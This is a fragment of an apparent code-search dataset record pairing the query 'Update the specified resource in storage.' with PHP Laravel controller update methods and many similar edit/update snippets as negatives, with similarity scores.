View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n 